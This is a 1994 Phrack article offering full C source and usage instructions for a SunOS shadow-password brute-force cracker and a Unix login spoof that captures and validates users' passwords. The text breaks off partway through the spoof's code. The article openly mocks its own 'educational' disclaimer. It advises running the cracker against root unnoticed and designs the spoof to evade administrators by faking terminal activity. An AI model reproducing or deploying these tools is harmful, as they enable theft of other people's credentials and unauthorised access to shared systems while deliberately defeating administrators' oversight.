| ==Phrack Magazine== | |
| Volume Five, Issue Forty-Six, File 11 of 28 | |
| **************************************************************************** | |
| *********************************** | |
| * Unix Hacking Tools of the Trade * | |
| * * | |
| * By * | |
| * * | |
| * The Shining/UPi (UK Division) * | |
| *********************************** | |
| Disclaimer : | |
| The following text is for educational purposes only and I strongly suggest | |
| that it is not used for malicious purposes....yeah right! | |
| Introduction : | |
| Ok, I decided to release this phile to help out all you guys who wish to | |
| start hacking unix. Although these programs should compile & run | |
| on your system if you follow the instructions I have given, knowing a bit | |
| of C will come in handy if things go wrong. Other docs I suggest you read | |
| are older 'phrack' issues with shooting sharks various articles on unix, | |
| and of course, 'Unix from the ground up' by The Prophet. | |
| This article includes three programs, a SUNOS Brute force Shadow password | |
| file cracker, The Ultimate Login Spoof, and a Unix Account Validator. | |
| Shadow Crack | |
| ------------ | |
| SUNOS Unix brute force shadow password file cracker | |
| --------------------------------------------------- | |
| Well, a while back, I saw an article in phrack which included a brute force | |
| password cracker for unix. This was a nice idea, except that these days | |
| more and more systems are moving towards the shadow password scheme. This, | |
| for those of you who are new to unix, involves storing the actual encrypted | |
| passwords in a different file, usually only accessible to root. A typical | |
| entry from a System V R4 password file looks like this :- | |
| root:x:0:1:Sys. admin:/:/bin/sh | |
| with the actual encrypted password replaced by an 'x' in the /etc/passwd | |
| file. The encrypted password is stored in a file(in the case of sysV) | |
| called /etc/shadow which has roughly the following format :- | |
| root:XyfgFekj95Fpq::::: | |
| this includes the login i.d., the encrypted password, and various other | |
| fields which hold info on password ageing etc...(no entry in the other | |
| fields indicate they are disabled). | |
| Now this was fine as long as we stayed away from system V's, but now a | |
| whole load of other companies have jumped on the bandwagon from IBM (aix) | |
| to Suns SUNOS systems. The system I will be dealing with is SUNOS's | |
| shadowed system. Now, like sysV, SUNOS also have a system whereby the | |
| actual encrypted passwords are stored in a file usually called | |
| /etc/security/passwd.adjunct, and normally this is accessible only by root. | |
| This rules out the use of brute force crackers, like the one in phrack | |
| quite a while back, and also modern day programs like CRACK. A typical | |
| /etc/passwd file entry on shadowed SUNOS systems looks like this :- | |
| root:##root:0:1:System Administrator:/:/bin/csh | |
| with the 'shadow' password file taking roughly the same format as that of | |
| Sys V, usually with some extra fields. | |
| However, we cannot use a program like CRACK, but SUNOS also supplied a | |
| function called pwdauth(), which basically takes two arguments, a login | |
| name and decrypted password, which is then encrypted and compared to the | |
| appropriate entry in the shadow file, thus if it matches, we have a valid | |
| i.d. & password, if not, we don't. | |
| I therefore decided to write a program which would exploit this function, | |
| and could be used to get valid i.d's and passwords even on a shadowed | |
| system! | |
| To my knowledge the use of the pwdauth() function is not logged, but I could | |
| be wrong. I have left it running for a while on the system I use and it has | |
| attracted no attention, and the administrator knows his shit. I have seen | |
| the functions getspwent() and getspwnam() in Sys V to manipulate the | |
| shadow password file, but not a function like pwdauth() that will actually | |
| validate the i.d. and password. If such a function does exist on other | |
| shadowed systems then this program could be very easily modified to work | |
| without problems. | |
| The only real beef I have about this program is that because the | |
| pwdauth() function uses the standard unix crypt() function to encrypt the | |
| supplied password, it is very slow!!! Even in burst mode, a password file | |
| with 1000's of users could take a while to get through. My advice is | |
| to run it in the background and direct all its screen output to /dev/null | |
| like so :- | |
| shcrack -mf -uroot -ddict1 > /dev/null & | |
| Then you can log out then come back and check on it later! | |
| The program works in a number of modes, all of which I will describe below, | |
| is command line driven, and can be used to crack both multiple accounts in | |
| the password file and single accounts specified. It is also NIS/NFS (Sun | |
| Yellow Pages) compatible. | |
| How to use it | |
| ------------- | |
| shcrack -m[mode] -p[password file] -u[user id] -d[dictionary file] | |
| Usage :- | |
| -m[mode] there are 3 modes of operation :- | |
| -mb Burst mode, this scans the password file, trying the minimum number | |
| of password guessing strategies on every account. | |
| -mi Mini-burst mode, this also scans the password file, and tries most | |
| password guessing strategies on every account. | |
| -mf Brute-force mode, tries all password strategies, including the use | |
| of words from a dictionary, on a single account specified. | |
| more about these modes in a sec, the other options are :- | |
| -p[password file] This is the password file you wish to use, if this is | |
| left unspecified, the default is /etc/passwd. | |
| NB: The program automatically detects and uses the | |
| password file wherever it may be in NIS/NFS systems. | |
| -u[user id] The login i.d. of the account you wish to crack, this is used | |
| in Brute-force single user mode. | |
| -d[dict file] This uses the words in a dictionary file to generate | |
| possible passwords for use in single user brute force | |
| mode. If no filename is specified, the program only uses the | |
| password guessing strategies without using the dictionary. | |
| Modes | |
| ^^^^^ | |
| -mb Burst mode basically gets each account from the appropriate password | |
| file and uses two methods to guess its password. Firstly, it uses the | |
| account name as a password, this name is then reversed and tried as a | |
| possible password. This may seem like a weak strategy, but remember, | |
| the users passwords are already shadowed, and therefore are deemed to | |
| be secure. This can lead to sloppy passwords being used, and I have | |
| came across many cases where the user has used his/her i.d. as a | |
| password. | |
| -mi Mini-burst mode uses a number of other password generating methods | |
| as well as the 2 listed in burst mode. One of the methods involves | |
| taking the login i.d. of the account being cracked, and appending the | |
| numbers 0 to 9 to the end of it to generate possible passwords. If | |
| this mode has no luck, it then uses the accounts gecos 'comment' | |
| information from the password file, splitting it into words and | |
| trying these as passwords. Each word from the comment field is also | |
| reversed and tried as a possible password. | |
| -mf Brute-force single user mode uses all the above techniques for password | |
| guessing as well as using a dictionary file to provide possible | |
| passwords to crack a single account specified. If no dictionary filename | |
| is given, this mode operates on the single account using the | |
| same methods as mini-burst mode, without the dictionary. | |
| Using shadow crack | |
| ------------------ | |
| To get program help from the command line just type :- | |
| $ shcrack <RETURN> | |
| which will show you all the modes of operation. | |
| If you wanted to crack just the account 'root', located in | |
| /etc/passwd(or elsewhere on NFS/NIS systems), using all methods | |
| including a dictionary file called 'dict1', you would do :- | |
| $ shcrack -mf -uroot -ddict1 | |
| to do the above without using the dictionary file, do :- | |
| $ shcrack -mf -uroot | |
| or to do the above but in password file 'miner' do :- | |
| $ shcrack -mf -pminer -uroot | |
| to start cracking all accounts in /etc/passwd, using minimum password | |
| strategies do :- | |
| $ shcrack -mb | |
| to do the above but on a password file called 'miner' in your home | |
| directory do :- | |
| $ shcrack -mb -pminer | |
| to start cracking all accounts in 'miner', using all strategies except | |
| dictionary words do :- | |
| $ shcrack -mi -pminer | |
| ok, heres the code, ANSI C Compilers only :- | |
| ---cut here------------------------------------------------------------------- | |
| /* Program : Shadow Crack | |
| Author : (c)1994 The Shining/UPi (UK Division) | |
| Date : Released 12/4/94 | |
| Unix type : SUNOS Shadowed systems only */ | |
| #include <stdio.h> | |
| #include <pwd.h> | |
| #include <string.h> | |
| #include <ctype.h> | |
| #include <signal.h> | |
| #define WORDSIZE 20 /* Maximum word size */ | |
| #define OUTFILE "data" /* File to store cracked account info */ | |
| void word_strat( void ), do_dict( void ); | |
| void add_nums( char * ), do_comment( char * ); | |
| void try_word( char * ), reverse_word( char * ); | |
| void find_mode( void ), burst_mode( void ); | |
| void mini_burst( void ), brute_force( void ); | |
| void user_info( void ), write_details( char * ); | |
| void pwfile_name( void ), disable_interrupts( void ), cleanup(); | |
| char *logname, *comment, *homedir, *shell, *dict, *mode, | |
| *pwfile, *pwdauth(); | |
| struct passwd *getpwnam(), *pwentry; | |
| extern char *optarg; | |
| int option, uid, gid; | |
| int main( int argc, char **argv ) | |
| { | |
| disable_interrupts(); | |
| system("clear"); | |
| if (argc < 2) { | |
| printf("Shadow Crack - (c)1994 The Shining\n"); | |
| printf("SUNOS Shadow password brute force cracker\n\n"); | |
| printf("useage: %s -m[mode] -p[pwfile] -u[loginid] ", argv[0]); | |
| printf("-d[dictfile]\n\n\n"); | |
| printf("[b] is burst mode, scans pwfile trying minimum\n"); | |
| printf(" password strategies on all i.d's\n\n"); | |
| printf("[i] is mini-burst mode, scans pwfile trying both\n"); | |
| printf(" userid, gecos info, and numbers to all i.d's\n\n"); | |
| printf("[f] is bruteforce mode, tries all above stategies\n"); | |
| printf(" as well as dictionary words\n\n"); | |
| printf("[pwfile] Uses the password file [pwfile], default\n"); | |
| printf(" is /etc/passwd\n\n"); | |
| printf("[loginid] Account you wish to crack, used with\n"); | |
| printf(" -mf bruteforce mode only\n\n"); | |
| printf("[dictfile] uses dictionary file [dictfile] to\n"); | |
| printf(" generate passwords when used with\n"); | |
| printf(" -mf bruteforce mode only\n\n"); | |
| exit(0); | |
| } | |
| /* Get options from the command line and store them in different | |
| variables */ | |
| while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF) | |
| switch(option) | |
| { | |
| case 'm': | |
| mode = optarg; | |
| break; | |
| case 'p': | |
| pwfile = optarg; | |
| break; | |
| case 'u': | |
| logname = optarg; | |
| break; | |
| case 'd': | |
| dict = optarg; | |
| break; | |
| default: | |
| printf("wrong options\n"); | |
| break; | |
| } | |
| find_mode(); | |
| } | |
| /* Routine to redirect interrupts */ | |
| void disable_interrupts( void ) | |
| { | |
| signal(SIGHUP, SIG_IGN); | |
| signal(SIGTSTP, cleanup); | |
| signal(SIGINT, cleanup); | |
| signal(SIGQUIT, cleanup); | |
| signal(SIGTERM, cleanup); | |
| } | |
| /* If CTRL-Z or CTRL-C is pressed, clean up & quit */ | |
| void cleanup( void ) | |
| { | |
| FILE *fp; | |
| if ((fp = fopen("gecos", "r")) != NULL) | |
| remove("gecos"); | |
| if ((fp = fopen("data", "r")) == NULL) | |
| printf("\nNo accounts cracked\n"); | |
| printf("Quitting\n"); | |
| exit(0); | |
| } | |
| /* Function to decide which mode is being used and call appropriate | |
| routine */ | |
| void find_mode( void ) | |
| { | |
| if (strcmp(mode, "b") == NULL) | |
| burst_mode(); | |
| else | |
| if (strcmp(mode, "i") == NULL) | |
| mini_burst(); | |
| else | |
| if (strcmp(mode, "f") == NULL) | |
| brute_force(); | |
| else | |
| { | |
| printf("Sorry - No such mode\n"); | |
| exit(0); | |
| } | |
| } | |
| /* Get a users information from the password file */ | |
| void user_info( void ) | |
| { | |
| uid = pwentry->pw_uid; | |
| gid = pwentry->pw_gid; | |
| comment = pwentry->pw_gecos; | |
| homedir = pwentry->pw_dir; | |
| shell = pwentry->pw_shell; | |
| } | |
| /* Set the filename of the password file to be used, default is | |
| /etc/passwd */ | |
| void pwfile_name( void ) | |
| { | |
| if (pwfile != NULL) | |
| setpwfile(pwfile); | |
| } | |
| /* Burst mode, tries user i.d. & then reverses it as possible passwords | |
| on every account found in the password file */ | |
| void burst_mode( void ) | |
| { | |
| pwfile_name(); | |
| setpwent(); | |
| while ((pwentry = getpwent()) != (struct passwd *) NULL) | |
| { | |
| logname = pwentry->pw_name; | |
| user_info(); | |
| try_word( logname ); | |
| reverse_word( logname ); | |
| } | |
| endpwent(); | |
| } | |
| /* Mini-burst mode, try above combinations as well as other strategies | |
| which include adding numbers to the end of the user i.d. to generate | |
| passwords or using the comment field information in the password | |
| file */ | |
| void mini_burst( void ) | |
| { | |
| pwfile_name(); | |
| setpwent(); | |
| while ((pwentry = getpwent()) != (struct passwd *) NULL) | |
| { | |
| logname = pwentry->pw_name; | |
| user_info(); | |
| word_strat(); | |
| } | |
| endpwent(); | |
| } | |
| /* Brute force mode, uses all the above strategies as well using a | |
| dictionary file to generate possible passwords */ | |
| void brute_force( void ) | |
| { | |
| pwfile_name(); | |
| setpwent(); | |
| if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL) { | |
| printf("Sorry - User unknown\n"); | |
| exit(0); | |
| } | |
| else | |
| { | |
| user_info(); | |
| word_strat(); | |
| do_dict(); | |
| } | |
| endpwent(); | |
| } | |
| /* Calls the various password guessing strategies */ | |
| void word_strat() | |
| { | |
| try_word( logname ); | |
| reverse_word( logname ); | |
| add_nums( logname ); | |
| do_comment( comment ); | |
| } | |
| /* Takes the user name as its argument and then generates possible | |
| passwords by adding the numbers 0-9 to the end. If the username | |
| is greater than 7 characters, don't bother */ | |
| void add_nums( char *wd ) | |
| { | |
| int i; | |
| char temp[2], buff[WORDSIZE]; | |
| if (strlen(wd) < 8) { | |
| for (i = 0; i < 10; i++) | |
| { | |
| strcpy(buff, wd); | |
| sprintf(temp, "%d", i); | |
| strcat(wd, temp); | |
| try_word( wd ); | |
| strcpy(wd, buff); | |
| } | |
| } | |
| } | |
| /* Gets info from the 'gecos' comment field in the password file, | |
| then process this information generating possible passwords from it */ | |
| void do_comment( char *wd ) | |
| { | |
| FILE *fp; | |
| char temp[2], buff[WORDSIZE]; | |
| int c, flag; | |
| flag = 0; | |
| /* Open file & store users gecos information in it. w+ mode | |
| allows us to write to it & then read from it. */ | |
| if ((fp = fopen("gecos", "w+")) == NULL) { | |
| printf("Error writing gecos info\n"); | |
| exit(0); | |
| } | |
| fprintf(fp, "%s\n", wd); | |
| rewind(fp); | |
| strcpy(buff, ""); | |
| /* Process users gecos information, separate words by checking for the | |
| ',' field separater or a space. */ | |
| while ((c = fgetc(fp)) != EOF) | |
| { | |
| if (( c != ',' ) && ( c != ' ' )) { | |
| sprintf(temp, "%c", c); | |
| strncat(buff, temp, 1); | |
| } | |
| else | |
| flag = 1; | |
| if ((isspace(c)) || (c == ',') != NULL) { | |
| if (flag == 1) { | |
| c=fgetc(fp); | |
| if ((isspace(c)) || (iscntrl(c) == NULL)) | |
| ungetc(c, fp); | |
| } | |
| try_word(buff); | |
| reverse_word(buff); | |
| strcpy(buff, ""); | |
| flag = 0; | |
| strcpy(temp, ""); | |
| } | |
| } | |
| fclose(fp); | |
| remove("gecos"); | |
| } | |
| /* Takes a string of characters as its argument(in this case the login | |
| i.d., and then reverses it */ | |
| void reverse_word( char *wd ) | |
| { | |
| char temp[2], buff[WORDSIZE]; | |
| int i; | |
| i = strlen(wd) + 1; | |
| strcpy(temp, ""); | |
| strcpy(buff, ""); | |
| do | |
| { | |
| i--; | |
| if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) { | |
| sprintf(temp, "%c", wd[i]); | |
| strncat(buff, temp, 1); | |
| } | |
| } while(i != 0); | |
| if (strlen(buff) > 1) | |
| try_word(buff); | |
| } | |
| /* Read one word at a time from the specified dictionary for use | |
| as possible passwords, if dictionary filename is NULL, ignore | |
| this operation */ | |
| void do_dict( void ) | |
| { | |
| FILE *fp; | |
| char buff[WORDSIZE], temp[2]; | |
| int c; | |
| strcpy(buff, ""); | |
| strcpy(temp, ""); | |
| if (dict == NULL) | |
| exit(0); | |
| if ((fp = fopen(dict, "r")) == NULL) { | |
| printf("Error opening dictionary file\n"); | |
| exit(0); | |
| } | |
| rewind(fp); | |
| while ((c = fgetc(fp)) != EOF) | |
| { | |
| if ((c != ' ') || (c != '\n')) { | |
| strcpy(temp, ""); | |
| sprintf(temp, "%c", c); | |
| strncat(buff, temp, 1); | |
| } | |
| if (c == '\n') { | |
| if (buff[0] != ' ') | |
| try_word(buff); | |
| strcpy(buff, ""); | |
| } | |
| } | |
| fclose(fp); | |
| } | |
| /* Process the word to be used as a password by stripping \n from | |
| it if necessary, then use the pwdauth() function, with the login | |
| name and word to attempt to get a valid id & password */ | |
| void try_word( char pw[] ) | |
| { | |
| int pwstat, i, pwlength; | |
| char temp[2], buff[WORDSIZE]; | |
| strcpy(buff, ""); | |
| pwlength = strlen(pw); | |
| for (i = 0; i != pwlength; i++) | |
| { | |
| if (pw[i] != '\n') { | |
| strcpy(temp, ""); | |
| sprintf(temp, "%c", pw[i]); | |
| strncat(buff, temp, 1); | |
| } | |
| } | |
| if (strlen(buff) > 3 ) { | |
| printf("Trying : %s\n", buff); | |
| if (pwstat = pwdauth(logname, buff) == NULL) { | |
| printf("Valid Password! - writing details to 'data'\n"); | |
| write_details(buff); | |
| if (strcmp(mode, "f") == NULL) | |
| exit(0); | |
| } | |
| } | |
| } | |
| /* If valid account & password, store this, along with the accounts | |
| uid, gid, comment, homedir & shell in a file called 'data' */ | |
| void write_details( char *pw ) | |
| { | |
| FILE *fp; | |
| if ((fp = fopen(OUTFILE, "a")) == NULL) { | |
| printf("Error opening output file\n"); | |
| exit(0); | |
| } | |
| fprintf(fp, "%s:%s:%d:%d:", logname, pw, uid, gid); | |
| fprintf(fp, "%s:%s:%s\n", comment, homedir, shell); | |
| fclose(fp); | |
| } | |
| ---cut here------------------------------------------------------------------- | |
| again to compile it do :- | |
| $ gcc shcrack.c -o shcrack | |
| or | |
| $ acc shcrack.c -o shcrack | |
| this can vary depending on your compiler. | |
| The Ultimate Login Spoof | |
| ^^^^^^^^^^^^^^^^^^^^^^^^ | |
| Well this subject has been covered many times before but its a while since | |
| I have seen a good one, and anyway I thought other unix spoofs have had two | |
| main problems :- | |
| 1) They were pretty easy to detect when running | |
| 2) They recorded any only shit entered..... | |
| Well now I feel these problems have been solved with the spoof below. | |
| Firstly, I want to say that no matter how many times spoofing is deemed as | |
| a 'lame' activity, I think it is very underestimated. | |
| When writing this I have considered every possible feature such a program | |
| should have. The main ones are :- | |
| 1) To validate the entered login i.d. by searching for it in the | |
| password file. | |
| 2) Once validated, to get all information about the account entered | |
| including - real name etc from the comment field, homedir info | |
| (e.g. /homedir/miner) and the shell the account is using and | |
| store all this in a file. | |
| 3) To keep the spoofs tty idle time to 0, thus not to arouse the | |
| administrators suspicions. | |
| 4) To validates passwords before storing them, on all unshadowed unix systems | |
| & SUNOS shadowed/unshadowed systems. | |
| 5) To emulates the 'sync' dummy account, thus making it act like the | |
| real login program. | |
| 6) Disable all interrupts(CTRL-Z, CTRL-D, CTRL-C), and automatically | |
| quit if it has not grabbed an account within a specified time. | |
| 7) To automatically detect & display the hostname before the login prompt | |
| e.g. 'ccu login:', this feature can be disabled if desired. | |
| 8) To run continuously until a valid i.d. & valid password are entered. | |
| As well as the above features, I also added a few more to make the spoof | |
| 'foolproof'. At university, a lot of the users have been 'stung' by | |
| login spoofs in the past, and so have become very conscious about security. | |
| For example, they now try and get around spoofs by entering any old crap when | |
| prompted for their login name, or to hit return a few times, to prevent any | |
| 'crappy' spoofs which may be running. This is where my spoof shines!, | |
| firstly if someone was to enter - | |
| login: dhfhfhfhryr | |
| Password: | |
| into the spoof, it checks to see if the login i.d. entered is | |
| valid by searching for it in the password file. If it exists, the | |
| spoof then tries to validate the password. If both the i.d. & password | |
| are valid, these will be stored in a file called .data, along with | |
| additional information about the account taken directly from the password | |
| file. | |
| Now if, as in the case above, either the login name or password is | |
| incorrect, the information is discarded, and the login spoof runs again, | |
| waiting for a valid user i.d. & password to be entered. | |
| Also, a lot of systems these days have an unpassworded account called | |
| 'sync', which when logged onto, usually displays the date & time the | |
| sync account was last logged into, and from which server or tty, | |
| the message of the day, syncs the disk, and then logs you straight out. | |
| A few people have decided that the best way to dodge login spoofs is to | |
| first login to this account then when they are automatically logged out, | |
| to login to their own account. | |
| They do this firstly, so that if a spoof is running it only records the | |
| details of the sync account and secondly the spoof would not act as the | |
| normal unix login program would, and therefore they would spot it and report | |
| it, thus landing you in the shit with the system administrator. | |
| However, I got around this problem so that when someone | |
| tries to login as sync (or another account of a similar type, which you can | |
| define), it acts exactly like the normal login program would, right down to | |
| displaying the system date & time as well as the message of the day!! | |
| The idle time facility | |
| ---------------------- | |
| One of the main problems with unix spoofs, is they can be spotted | |
| so easily by the administrator, as he/she could get a list of current | |
| users on the system and see that an account was logged on, and had been | |
| idle for maybe 30 minutes. They would then investigate & the spoof | |
| would be discovered. | |
| I have therefore incorporated a scheme in the spoof whereby | |
| approx. every minute, the tty the spoof is executed from, is 'touched' | |
| with the current time, this effectively simulates terminal activity & | |
| keeps the terminals idle time to zero, which helps the spoofs chances | |
| of not being discovered greatly. | |
| The spoof also incorporates a routine which will automatically | |
| keep track of approximately how long the spoof has been running, and if | |
| it has been running for a specified time without grabbing an i.d. or password, | |
| will automatically exit and run the real login program. | |
| This timer is by default set to 12.5 minutes, but you can alter this time | |
| if you wish. | |
| Note: Due to the varying processing power of some systems, I could not | |
| set the timer to exactly 60 seconds, I have therefore set it to 50, | |
| incase it loses or gains extra time. Take this into consideration when | |
| setting the spoofs timer to your own value. I recommend you | |
| stick with the default, and under no circumstances let it run | |
| for hours. | |
| Password Validation techniques | |
| ------------------------------ | |
| The spoof basically uses 2 methods of password validation(or none at | |
| all on a shadowed system V). Firstly, when the spoof is used on any unix | |
| with an unshadowed password file, it uses the crypt function to validate a | |
| password entered. If however the system is running SUNOS 4.1.+ and | |
| incorporates the shadow password system, the program uses a function called | |
| pwdauth(). This takes the login i.d. & decrypted password as its arguments | |
| and checks to see if both are valid by encrypting the password and | |
| comparing it to the shadowed password file which is usually located in | |
| /etc/security and accessible only by root. By validating both the i.d. & | |
| password we ensure that the data which is saved to file is correct and not | |
| any old bullshit typed at the terminal!!! | |
| Executing the Spoof | |
| ------------------- | |
| ok, now about the program. This is written in ANSI-C, so I hope you have a | |
| compatible compiler, GCC or suns ACC should do it. Now the only time you | |
| will need to change to the code is in the following circumstances :- | |
| 1) If you are to compile & run it on an unshadowed unix, | |
| in which case remove all references to the pwdauth() function, | |
| from both the declarations & the shadow checking routine, add | |
| this code in place of the shadow password checking routine :- | |
| if ( shadow == 1 ) { | |
| invalid = 0; | |
| else | |
| invalid = 1; | |
| } | |
| 2) Add the above code also to the spoof if you are running this on a system | |
| V which is shadowed. In this case the spoof loses its ability to | |
| validate the password, to my knowledge there is no sysV equivalent | |
| of the pwdauth() function. | |
| Everything else should be pretty much compatible. You should have no | |
| problems compiling & running this on an unshadowed SUNOS machine, if | |
| you do, make the necessary changes as above, but it compiled ok | |
| on every unshadowed SUNOS I tested it on. The Spoof should | |
| automatically detect whether a SUNOS system is shadowed or unshadowed | |
| and run the appropriate code to deal with each situation. | |
| Note: when you have compiled this spoof, you MUST 'exec' it from the | |
| current shell for it to work, you must also only have one shell | |
| running. e.g. from C or Bourne shell using the GNU C Compiler do :- | |
| $ gcc spoof.c -o spoof | |
| $ exec spoof | |
| This replaces the current shell with the spoof, so when the spoof quits & | |
| runs the real login program, the hackers account is effectively logged off. | |
| ok enough of the bullshit, here's the spoof :- | |
| ----------cut here------------------------------------------------------- | |
| /* Program : Unix login spoof | |
| Author : The Shining/UPi (UK Division) | |
| Date : Released 12/4/94 | |
| Unix Type : All unshadowed unix systems & | |
| shadowed SUNOS systems | |
| Note : This file MUST be exec'd from the shell. */ | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <signal.h> | |
| #include <pwd.h> | |
| #include <time.h> | |
| #include <utime.h> | |
| #define OUTFILE ".data" /* Data file to save account info into */ | |
| #define LOGPATH "/usr/bin/login" /* Path of real login program */ | |
| #define DUMMYID "sync" /* Dummy account on your system */ | |
| #define DLENGTH 4 /* Length of dummy account name */ | |
| FILE *fp; | |
| /* Set up variables to store system time & date */ | |
| time_t now; | |
| static int time_out, time_on, no_message, loop_cnt; | |
| /* Set up a structure to store users information */ | |
| struct loginfo { | |
| char logname[10]; | |
| char key[9]; | |
| char *comment; | |
| char *homedir; | |
| char *shell; | |
| } u; | |
| /* Use the unix function getpass() to read user password and | |
| crypt() or pwdauth() (remove it below if not SUNOS) | |
| to validate it etc */ | |
| char *getpass(), *gethostname(), *alarm(), *sleep(), | |
| *crypt(), *ttyname(), *pwdauth(), motd, log_date[60], | |
| pass[14], salt[3], *tty, cons[] = " on console ", | |
| hname[72], *ld; | |
| /* flag = exit status, ppid = pid shell, wait = pause length, | |
| pwstat = holds 0 if valid password, shadow holds 1 if shadow | |
| password system is being used, 0 otherwise. */ | |
| int flag, ppid, wait, pwstat, shadow, invalid; | |
| /* Declare main functions */ | |
| void write_details(struct loginfo *); | |
| void catch( void ), disable_interrupts( void ); | |
| void log_out( void ), get_info( void ), | |
| invalid_login( void ), prep_str( char * ); | |
| /* set up pointer to point to pwfile structure, and also | |
| a pointer to the utime() structure */ | |
| struct passwd *pwentry, *getpwnam(); | |
| struct utimbuf *times; | |
| int main( void ) | |
| { | |
| system("clear"); | |
| /* Initialise main program variables to 0, change 'loop_cnt' to 1 | |
| if you do not want the machines host name to appear with | |
| the login prompt! (e.g. prompt is `login:` instead of | |
| 'MIT login:' etc) */ | |
| wait = 3; /* Holds value for pause */ | |
| flag = 0; /* Spoof ends if value is 1 */ | |
| loop_cnt = 0; /* Change this to 1 if no host required */ | |
| time_out = 0; /* Stops timer if spoof has been used */ | |
| time_on = 0; /* Holds minutes spoof has been running */ | |
| disable_interrupts(); /* Call function to disable Interrupts */ | |
| /* Get system time & date and store in log_date, this is | |
| displayed when someone logs in as 'sync' */ | |
| now = time(NULL); | |
| strftime(log_date, 60, "Last Login: %a %h %d %H:%M:%S", localtime(&now)); | |
| strcat(log_date, cons); | |
| ld = log_date; | |
| /* Get Hostname and tty name */ | |
| gethostname(hname, 64); | |
| strcat(hname, " login: "); | |
| tty = ttyname(); | |
| /* main routine */ | |
| while( flag == 0 ) | |
| { | |
| invalid = 0; /* Holds 1 if id +/or pw are invalid */ | |
| shadow = 0; /* 1 if shadow scheme is in operation */ | |
| no_message = 0; /* Flag for Login Incorrect msg */ | |
| alarm(50); /* set timer going */ | |
| get_info(); /* get user i.d. & password */ | |
| /* Check to see if the user i.d. entered is 'sync', if it is | |
| display system time & date, display message of the day and | |
| then run the spoof again, insert the account of your | |
| choice here, if its not sync, but remember to put | |
| the length of the accounts name next to it! */ | |
| if (strncmp(u.logname, DUMMYID, DLENGTH) == NULL) { | |
| printf("%s\n", ld); | |
| if ((fp = fopen("/etc/motd", "r")) != NULL) { | |
| while ((motd = getc(fp)) != EOF) | |
| putchar(motd); | |
| fclose(fp); | |
| } | |
| printf("\n"); | |
| prep_str(u.logname); | |
| no_message = 1; | |
| sleep(wait); | |
| } | |
| /* Check if a valid user i.d. has been input, then check to see if | |
| the password system is shadowed or unshadowed. | |
| If both the user i.d. & password are valid, get additional info | |
| from the password file, and store all info in a file called .data, | |
| then exit spoof and run real login program */ | |
| setpwent(); /* Rewind pwfile to beign processing */ | |
| if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) { | |
| invalid = 1; | |
| flag = 0; | |
| } | |
| else | |
| strncpy(salt, pwentry->pw_passwd, 2); | |
| /* Check for shadowed password system, in SUNOS, the field in /etc/passwd | |
| should begin with '##', in system V it could contain an 'x', if none | |
| of these exist, it checks that the entry = 13 chars, if less then | |
| shadow system will probably be implemented (unless acct has been | |
| disabled) */ | |
| if ( invalid == 0 ) { | |
| if ((strcmp(salt, "##")) || (strncmp(salt, "x", 1)) == NULL) | |
| shadow = 1; | |
| else | |
| if (strlen(pwentry->pw_passwd) < 13) | |
| shadow = 1; | |
| /* If unshadowed, use the salt from the pwfile field & the key to | |
| form the encrypted password which is checked against the entry | |
| in the password file, if it matches, then all is well, if not, | |
| spoof runs again!! */ | |
| if ( shadow != 1 ) { | |
| if (strcmp(pwentry->pw_passwd, crypt(u.key, salt)) == NULL) | |
| invalid = 0; | |
| else | |
| invalid = 1; | |
| } | |
| /* If SUNOS Shadowing is in operation, use the pwdauth() function | |
| to validate the password, if not SUNOS, substitute this code | |
| with the routine I gave earlier! */ | |
| if ( shadow == 1 ) { | |
| if (pwstat = pwdauth(u.logname, u.key) == NULL) | |
| invalid = 0; | |
| else | |
| invalid = 1; | |
| } | |
| } | |
| /* If we have a valid account & password, get user info from the | |
| pwfile & store it */ | |
| if ( invalid == 0 ) { | |
| u.comment = pwentry->pw_gecos; | |
| u.homedir = pwentry->pw_dir; | |
| u.shell = pwentry->pw_shell; | |
| /* Open file to store user info */ | |
| if ((fp = fopen(OUTFILE, "a")) == NULL) | |
| log_out(); | |
| write_details(&u); | |
| fclose(fp); | |
| no_message = 1; | |
| flag = 1; | |
| } | |
| else | |
| flag = 0; | |
| invalid_login(); | |
| endpwent(); /* Close pwfile */ | |
| if (no_message == 0) | |
| loop_cnt++; | |
| } /* end while */ | |
| log_out(); /* call real login program */ | |
| } | |
| /* Function to read user i.d. & password */ | |
| void get_info( void ) | |
| { | |
| char user[11]; | |
| unsigned int string_len; | |
| fflush(stdin); | |
| prep_str(u.logname); | |
| prep_str(u.key); | |
| strcpy(user, "\n"); | |
| /* Loop while some loser keeps hitting return when asked for user | |
| i.d. and if someone hits CTRL-D to break out of spoof. Enter | |
| a # at login to exit spoof. Uncomment the appropriate line(s) | |
| below to customise the spoof to look like your system */ | |
| while ((strcmp(user, "\n") == NULL) && (!feof(stdin))) | |
| { | |
| /* printf("Scorch Ltd SUNOS 4.1.3\n\n); */ | |
| if (loop_cnt > 0) | |
| strcpy(hname, "login: "); | |
| printf("%s", hname); | |
| fgets(user, 9, stdin); | |
| /* Back door for hacker, # at present, can be changed, | |
| but leave \n in. */ | |
| if (strcmp(user, "#\n") == NULL) | |
| exit(0); | |
| /* Strip \n from login i.d. */ | |
| if (strlen(user) < 8) | |
| string_len = strlen(user) - 1; | |
| else | |
| string_len = strlen(user); | |
| strncpy(u.logname, user, string_len); | |
| /* check to see if CTRL-D has occurred because it does not | |
| generate an interrupt like CTRL-C, but instead generates | |
| an end-of-file on stdin */ | |
| if (feof(stdin)) { | |
| clearerr(stdin); | |
| printf("\n"); | |
| } | |
| } | |
| /* Turn off screen display & read users password */ | |
| strncpy(u.key, getpass("Password:"), 8); | |
| } | |
| /* Function to increment the timer which holds the amount of time | |
| the spoof has been running */ | |
| void catch( void ) | |
| { | |
| time_on++; | |
| /* If spoof has been running for 15 minutes, and has not | |
| been used, stop timer and call spoof exit routine */ | |
| if ( time_out == 0 ) { | |
| if (time_on == 15) { | |
| printf("\n"); | |
| alarm(0); | |
| log_out(); | |
| } | |
| } | |
| /* 'Touch' your tty, effectively keeping terminal idle time to 0 */ | |
| utime(tty, times); | |
| alarm(50); | |
| } | |
| /* Initialise a string with \0's */ | |
| void prep_str( char str[] ) | |
| { | |
| int strl, cnt; | |
| strl = strlen(str); | |
| for (cnt = 0; cnt != strl; cnt++) | |
| str[cnt] = ' '; | |
| } | |
| /* function to catch interrupts, CTRL-C & CTRL-Z etc as | |
| well as the timer signals */ | |
| void disable_interrupts( void ) | |
| { | |
